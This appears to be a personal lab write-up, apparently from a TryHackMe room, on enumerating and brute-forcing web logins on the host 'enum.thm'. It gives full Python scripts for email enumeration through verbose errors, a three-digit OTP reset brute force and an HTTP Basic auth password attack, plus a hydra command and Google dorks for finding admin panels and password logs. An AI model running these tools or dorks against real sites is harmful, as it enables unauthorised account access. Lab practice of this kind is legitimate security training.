Enumeration & Brute Force

December 23, 2025

Common Places to Enumerate

  1. Registration page
  2. Password reset features
  3. Verbose Errors
  4. Data Breach Information

Enumeration using Verbose Message

Here we get a verbose message wither the user is registered or not so we can write a script to enumerate the emails

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import requests
import sys


def check_email(email):
    url = "http://enum.thm/labs/verbose_login/functions.php"  # Location of the login function
    headers = {  # Get the headers from burpsuite
        "Host": "enum.thm",
        "User-Agent": "Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0",
        "Accept": "application/json, text/javascript, */*; q=0.01",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate",
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
        "X-Requested-With": "XMLHttpRequest",
        "Origin": "http://enum.thm",
        "Connection": "close",
        "Referer": "http://enum.thm/labs/verbose_login/",
    }
    data = {
        "username": email,
        "password": "password",  # Use a random password as we are only checking the email
        "function": "login",
    }

    response = requests.post(url, headers=headers, data=data)
    return response.json()


def enumerate_emails(email_file):
    valid_emails = []
    invalid_error = "Email does not exist"  # Replace with specific message

    with open(email_file, "r") as file:
        emails = file.readlines()

    for email in emails:
        email = email.strip()  # Remove any leading/trailing whitespace
        if email:
            response_json = check_email(email)
            if (
                response_json["status"] == "error"
                and invalid_error in response_json["message"]
            ):
                print(f"[INVALID] {email}")
            else:
                print(f"[VALID] {email}")
                valid_emails.append(email)

    return valid_emails


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python3 script.py <email_list_file>")
        sys.exit(1)

    email_file = sys.argv[1]

    valid_emails = enumerate_emails(email_file)

    print("\nValid emails found:")
    for valid_email in valid_emails:
        print(valid_email)

Brute Forcing Weak OTP

The website uses a three digit OTP so I made this script to brute force it

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests


def brute_force_token(url, headers, message):
    tokens = range(100, 1001)
    for token in tokens:
        param = {"token": token}
        response = requests.get(url, headers=headers, params=param)
        resp_js = response.text
        if message in resp_js:
            continue
        else:
            print(f"Correct token is {token}")
            break


if __name__ == "__main__":
    url = "http://enum.thm/labs/predictable_tokens/reset_password.php"

    headers = {  # Replace headers from burpsuite
        "Host": "enum.thm",
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:131.0) Gecko/20100101 Firefox/131.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "Connection": "keep-alive",
        "Cookie": "PHPSESSID=u8dk5d5rl4d85ogadgl3nruf73",
        "Upgrade-Insecure-Requests": "1",
        "Priority": "u=0, i",
    }

    invalid_message = "Invalid token."

    brute_force_token(url, headers, invalid_message)

Brute Force Basic HTTP Auth

Here there is a header that encodes the username and password in base64 so here is a script I wrote to brute force

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import requests
import base64
import sys


def brute_force_password(url, headers, file_name):
    """Attempt to brute force HTTP Basic Authentication"""
    with open(file_name, "r") as f:
        passwords = f.read().strip().split("\n")

    for password in passwords:
        credentials = f"admin:{password}"
        encoded = base64.b64encode(credentials.encode()).decode()

        temp_headers = headers.copy()
        temp_headers["Authorization"] = f"Basic {encoded}"

        response = requests.get(url, headers=temp_headers)

        if response.status_code == 200:
            print(f"[SUCCESS] Password found: {password}")
            print(f"Response: {response.text}")
            return password
        else:
            continue

    print("[FAILED] No valid password found in wordlist")
    return None


if __name__ == "__main__":
    url = "http://enum.thm/labs/basic_auth"
    headers = {
        "Host": "enum.thm",
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:131.0) Gecko/20100101 Firefox/131.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "Connection": "keep-alive",
        "Cookie": "PHPSESSID=u8dk5d5rl4d85ogadgl3nruf73",
        "Upgrade-Insecure-Requests": "1",
        "Priority": "u=0, i",
    }

    if len(sys.argv) > 1:
        brute_force_password(url, headers, sys.argv[1])
    else:
        print("Usage: python3 g.py <password_file>")

and here is the hydra command that do the same job

1
hydra -l admin -P /usr/share/wordlists/SecLists/Passwords/Common-Credentials/500-worst-passwords.txt http-get://enum.thm/labs/basic_auth

OSINT

  1. waybackurls tool
  2. Google dorks
    • To find administrative panels: site:example.com inurl:admin
    • To unearth log files with passwords: filetype:log "password" site:example.com
    • To discover backup directories: intitle:"index of" "backup" site:example.com

Categories: